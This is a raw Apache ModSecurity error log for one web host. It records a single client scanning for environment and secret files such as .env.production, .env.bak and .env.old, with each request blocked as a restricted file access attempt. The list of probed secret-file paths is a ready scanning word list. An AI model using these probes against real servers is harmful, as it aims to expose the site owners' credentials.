[Sat Oct 24 05:04:06.082735 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx0hqVWPMRLkHgZYZD5BAAAABU"]
[Sat Oct 24 05:04:06.083166 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx0hqVWPMRLkHgZYZD5BAAAABU"]
[Sat Oct 24 05:04:06.214108 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atx0hqVWPMRLkHgZYZD5BQAAABU"]
[Sat Oct 24 05:04:06.214427 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atx0hqVWPMRLkHgZYZD5BQAAABU"]
[Sat Oct 24 05:04:06.214863 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atx0hqVWPMRLkHgZYZD5BQAAABU"]
[Sat Oct 24 05:04:06.257807 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.203.111.15:25889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:04:06.350644 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atx0hqVWPMRLkHgZYZD5BgAAABU"]
[Sat Oct 24 05:04:06.350916 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atx0hqVWPMRLkHgZYZD5BgAAABU"]
[Sat Oct 24 05:04:06.351274 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atx0hqVWPMRLkHgZYZD5BgAAABU"]
[Sat Oct 24 05:04:06.433157 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atx0hqVWPMRLkHgZYZD5BwAAABU"]
[Sat Oct 24 05:04:06.433396 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atx0hqVWPMRLkHgZYZD5BwAAABU"]
[Sat Oct 24 05:04:06.433756 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atx0hqVWPMRLkHgZYZD5BwAAABU"]
[Sat Oct 24 05:04:06.556581 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atx0hqVWPMRLkHgZYZD5CAAAABU"]
[Sat Oct 24 05:04:06.556811 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atx0hqVWPMRLkHgZYZD5CAAAABU"]
[Sat Oct 24 05:04:06.557115 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atx0hqVWPMRLkHgZYZD5CAAAABU"]
[Sat Oct 24 05:04:06.700472 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx0hqVWPMRLkHgZYZD5CQAAABU"]
[Sat Oct 24 05:04:06.700801 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx0hqVWPMRLkHgZYZD5CQAAABU"]
[Sat Oct 24 05:04:06.701232 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx0hqVWPMRLkHgZYZD5CQAAABU"]
[Sat Oct 24 05:04:06.796065 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx0hqVWPMRLkHgZYZD5CgAAABU"]
[Sat Oct 24 05:04:06.796303 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx0hqVWPMRLkHgZYZD5CgAAABU"]
[Sat Oct 24 05:04:06.796641 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx0hqVWPMRLkHgZYZD5CgAAABU"]
[Sat Oct 24 05:04:06.935278 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx0hqVWPMRLkHgZYZD5CwAAABU"]
[Sat Oct 24 05:04:06.935500 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx0hqVWPMRLkHgZYZD5CwAAABU"]
[Sat Oct 24 05:04:06.935859 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx0hqVWPMRLkHgZYZD5CwAAABU"]
[Sat Oct 24 05:04:07.037357 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx0h6VWPMRLkHgZYZD5DAAAABU"]
[Sat Oct 24 05:04:07.037591 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx0h6VWPMRLkHgZYZD5DAAAABU"]
[Sat Oct 24 05:04:07.037914 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx0h6VWPMRLkHgZYZD5DAAAABU"]
[Sat Oct 24 05:04:07.177598 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atx0h6VWPMRLkHgZYZD5DQAAABU"]
[Sat Oct 24 05:04:07.177838 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atx0h6VWPMRLkHgZYZD5DQAAABU"]
[Sat Oct 24 05:04:07.178163 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atx0h6VWPMRLkHgZYZD5DQAAABU"]
[Sat Oct 24 05:04:07.240026 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx0h6VWPMRLkHgZYZD5DgAAABU"]
[Sat Oct 24 05:04:07.240260 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx0h6VWPMRLkHgZYZD5DgAAABU"]
[Sat Oct 24 05:04:07.240645 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx0h6VWPMRLkHgZYZD5DgAAABU"]
[Sat Oct 24 05:04:07.327625 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atx0h6VWPMRLkHgZYZD5DwAAABU"]
[Sat Oct 24 05:04:07.327883 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atx0h6VWPMRLkHgZYZD5DwAAABU"]
[Sat Oct 24 05:04:07.328202 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atx0h6VWPMRLkHgZYZD5DwAAABU"]
[Sat Oct 24 05:04:07.458609 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atx0h6VWPMRLkHgZYZD5EAAAABU"]
[Sat Oct 24 05:04:07.458883 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atx0h6VWPMRLkHgZYZD5EAAAABU"]
[Sat Oct 24 05:04:07.459241 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atx0h6VWPMRLkHgZYZD5EAAAABU"]
[Sat Oct 24 05:04:07.541207 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atx0h6VWPMRLkHgZYZD5EQAAABU"]
